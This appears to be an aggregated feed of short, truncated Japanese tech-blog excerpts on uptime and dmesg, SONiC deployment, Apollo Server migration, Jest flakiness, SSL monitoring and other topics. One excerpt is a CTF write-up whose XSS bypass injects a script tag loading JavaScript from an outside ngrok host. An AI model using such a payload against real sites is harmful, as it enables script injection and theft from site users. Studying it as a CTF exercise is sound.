UNIX上で現在利用している、または接続している電子計算機の起動時間を調べるコマンド、
# uptime 7:34PM up 21 days, 17:17, 2 users, load averages: 0.34, 0.26, 0.25
このような感じで表示される。
-Tオプションを付けると、読みやすく変換してくれる。 # dmesg ・・・ [ 871.861243] rfkill: input handler disabled [ 922.989837] VMMR0InitVM: eflags=246 fKernelFeatures=0x0 (SUPKERNELFEATURES_SMAP=0)# dmesg -T ・・・ [月 5月 30 10:04:42 2022] rfkill: input handler disabled [月 5月 30 10:05:33 2022] VMMR0InitVM: eflags=246 fKernelFeature…
みなさん、こんにちは!この記事で紹介するアプリは、私自身の経験から生まれました。 みなさんは、Macで作業中に原因不明の不具合に遭遇し、いろいろ試しても解決せず、最終的には再起動したら問題が解消されたという経験はありませんか?
3年程前にホワイトボックススイッチのNOS(Network OS)であるSONiCをVirtualBoxにデプロイし、L2 MC-LAGやIP Clos構成等を組んで色々遊んでいたが、その際に導入したSONiCはMicrosoft社が開発しLinux Foundationで管理しているOSS且つ「本流の」SONiCである。一方、「本流」のSONiCをEdgecoreやDELL等のITベンダが独自にカスタマイズし商用版のSONiCとして提供している。 今回は商用版のSONiCにも触れてみようという事で、当記事の作成時の段階で無償で使用が可能なDELL版のSONiCをVMware Fusionにデ…
web/b01ler-ad web/3-city-elves-writeups web/imagehost web/pwnhub web/b01lers_casino web/b01ler-ad const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); '"`が使えない状態でXSSさせる問題。 それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。 <script src=//c748-194-180-179-191.ngrok-fr…
株式会社ヘンリーでSREなどをやってる戸田(id:eller)です。弊社サービスはBackend for FrontendとしてApollo Serverを採用しています。 先月まではApollo Server v3を利用していましたがEOLが今年の10月に迫っていたため、v4へのアップグレードを実施しました。この記事では移行時に実施したことをご紹介いたします。 なお公式ドキュメントに主な変更点がまとまっていますので、類似の作業を予定されている方はそちらをまずご確認ください。 GraphQL関係の依存を更新する Apollo Server v4は graphql 16.7.0以降の利用を推奨し…
界隈違うとわからない。しえるです。 2010年代から配信活動をしている釈迦さんの雑談を聞いていると、ネット民ではあったけど、つべやニコニコばかりだった私にとっては「そんな配信の世界があったんだ~」と知らなかったことばかり。 最初、釈迦さんがどこで配信しているかすらわからなかったくらいには無縁で、後から覚えていったライブ配信プラットフォームについてまとめてみました。 ゲーム実況やVTuberを楽しめる主なライブ配信プラットフォームやこれまでの新旧サービスまとめ ゲーム実況やVTuberを楽しめる主なライブ配信プラットフォームやこれまでの新旧サービスまとめ ゲーム実況配信を見るなら… オープンレッ…
こんにちは、Sansan Engineering Unit の渡邉です🦐私たちのチームではTypeScriptで開発しており、テストはJestを用いて書いています。ある日からテストが結構な頻度で落ちてしまうように(FLAKY *1に)なっていました...。 そこで、テストがFLAKYになっている原因を深掘り調査したところ、Jestのメモリまわりについて解像度が高まったので、備忘録代わりに残します。 *1:FLAKY: 安定していない、確率的に落ちてしまうテストのこと。参考: Google Testing Blog: Flaky Tests at Google and How We Mitiga…
iDracの稼働時間を取得する方法、コマンドを探していたら以下の情報がありました。 情報元はこちら。※機械翻訳です idracの稼働時間を取得する方法は? https://www.dell.com/community/Systems-Management-General/how-to-get-idrac-uptime/td-p/4504524 質問の抜粋です。 === できればWSMANを介してidrac6とidrac7の稼働時間を取得したいのですが、racadmも機能します。 idrac7を使用すると、「racadm racdump」で稼働時間が得られると思いましたが、間違っていたか、削除さ…
TCP Timestamp Option これは、下記の変更によりコネクションごとにタイムスタンプがランダム化されるようになったためです。 コミット: tcp: randomize tcp timestamp offsets for each connection 95a22ca https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a22caee396cef0bb2ca8fafdd82966a49367bbnet.ipv4.tcp_tw_recycle は廃止されました ― その危険性を…
サブシステムをクラスタ化しようとしてちょっとハマった。 メインシステムはほぼ同じスペックで各ノード256GBメモリを積んでおり、特に問題なくSlurmがインストールできて NODELIST NODES PARTITION STATE CPUS S:C:T MEMORY TMP_DISK WEIGHT AVAIL_FE REASON node3-a6 1 work* idle 48 1:24:2 256000 0 1 (null) none node4-a6 1 work* idle 48 1:24:2 256000 0 1 (null) none node5-a6 1 work* idle 4…
エブリーで小売業界向き合いの開発を行っている @kosukeohmura です。 昨年、エブリーではネットスーパーの事業を株式会社ベクトルワン様から引き継ぎました。引き継いだシステムを運用していく中で、ネットスーパーの各種サイトや API に使用している 20 個超の SSL 証明書の有効期限を切らさないように更新していく必要があり、そのために監視を導入したお話をします。 引き継ぎ作業の概観については以前公開しました ゼロからはじめるシステム引き継ぎ - every Tech Blog に書きましたので、合わせて御覧ください。 背景とモチベーション システムを引き継いだ時点では SSL 証明書…
これは、なにをしたくて書いたもの? Javaアプリケーションの状態を簡単に見る時に、自分が使うツールのひとつにjstatがあります。 jstatコマンド このjstatコマンドですが、jcmdに直接の代替がなく、いつもjstatはjstatのままだったのですが。 jcmdのPerfCounter.printから同じような結果が得られそうだったので、コマンドっぽいものを作ってみることにしました。 jcmdのPerfCounter.print jcmdのドキュメントはこちら。 jcmdコマンド jcmdにpidのみを指定すると、使用できるコマンドが表示されます。 $ jcmd [pid] 2859…
データセンター・ソリューション市場は、2023年の3,388億米ドルから2028年には5,917億米ドルに成長し、予測期間中の年間平均成長率(CAGR)は11.8%になると予測されている。データセンター・ソリューション市場は、デジタルトランスフォーメーション、クラウドサービス、データ集約型技術に対する需要の高まりに牽引され、力強い成長を遂げている。さまざまな業種の企業が、ITインフラの拡張性、柔軟性、効率性を高めるため、先進的なデータセンター・ソリューションに投資している。IoTやリアルタイム分析アプリケーションに牽引されるエッジコンピューティングの台頭は、局所的な処理能力のニーズに寄与して…
このページの内容は以下のリポジトリに1日遅れで反映されます(記事執筆前に前日分をコミットしています)。 https://github.com/hkob/hkob_blog はじめに Rails Tips の 65 回目です。Comment モデルを追加したので、それに対するルーティングを設定します。 Rails をはじめよう - Railsガイド 8.3 コメントへのルーティングを追加する Rails ガイドでは、コメントを追加するコントローラのためのルーティングを追加します。ガイドではフラットなコントローラを使っていますが、ルーティングだけでなくコントローラもネストしたものにしようと思います…
2023 開発したもの振り返るとずっとGoの1年だった。 go routine、goでの自動テストのパターンは結構勉強した 設計書(design doc) をmermaid使ってmarkdownで全部書き始めた 1-4月 常駐プロセス作成 Redisからデータ取得、整形、ファイルに書き出し go routine(worker起動してずっとグルグルするだけだが) 5-7月 goでcliで運用ツール cobra 9-11月 goで日時バッチ RDSからデータ取得、CSV形式でS3にアップ 12-1月 API RabbitMQでのメッセージング 2024 設計力、DB周り強化 自分のソフトウェアの作…